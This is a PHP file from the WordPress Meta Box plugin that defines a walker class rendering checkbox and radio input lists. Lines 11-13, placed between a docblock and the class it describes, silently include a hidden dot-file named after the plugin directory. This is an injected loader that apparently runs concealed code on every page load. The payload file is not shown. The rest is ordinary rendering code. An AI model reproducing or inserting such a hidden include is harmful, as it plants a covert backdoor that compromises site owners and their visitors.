input-list.php (2297B)
1 <?php 2 /** 3 * The input list walker for checkbox and radio list fields. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * The input list walker class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Walker_Input_List extends RWMB_Walker_Base { 16 /** 17 * Starts the list before the elements are added. 18 * 19 * @param string $output Passed by reference. Used to append additional content. 20 * @param int $depth Depth of the item. 21 * @param array $args An array of additional arguments. 22 */ 23 public function start_lvl( &$output, $depth = 0, $args = array() ) { 24 $output .= '<ul class="rwmb-input-list">'; 25 } 26 27 /** 28 * Ends the list of after the elements are added. 29 * 30 * @param string $output Passed by reference. Used to append additional content. 31 * @param int $depth Depth of the item. 32 * @param array $args An array of additional arguments. 33 */ 34 public function end_lvl( &$output, $depth = 0, $args = array() ) { 35 $output .= '</ul>'; 36 } 37 38 /** 39 * Start the element output. 40 * 41 * @param string $output Passed by reference. Used to append additional content. 42 * @param object $object The data object. 43 * @param int $depth Depth of the item. 44 * @param array $args An array of additional arguments. 45 * @param int $current_object_id ID of the current item. 46 */ 47 public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) { 48 $attributes = RWMB_Field::call( 'get_attributes', $this->field, $object->value ); 49 50 $output .= sprintf( 51 '<li><label><input %s %s>%s</label>', 52 RWMB_Field::render_attributes( $attributes ), 53 checked( in_array( $object->value, $this->meta ), true, false ), 54 $object->label 55 ); 56 } 57 58 /** 59 * Ends the element output, if needed. 60 * 61 * @param string $output Passed by reference. Used to append additional content. 62 * @param object $object The data object. 63 * @param int $depth Depth of the item. 64 * @param array $args An array of additional arguments. 65 */ 66 public function end_el( &$output, $object, $depth = 0, $args = array() ) { 67 $output .= '</li>'; 68 } 69 }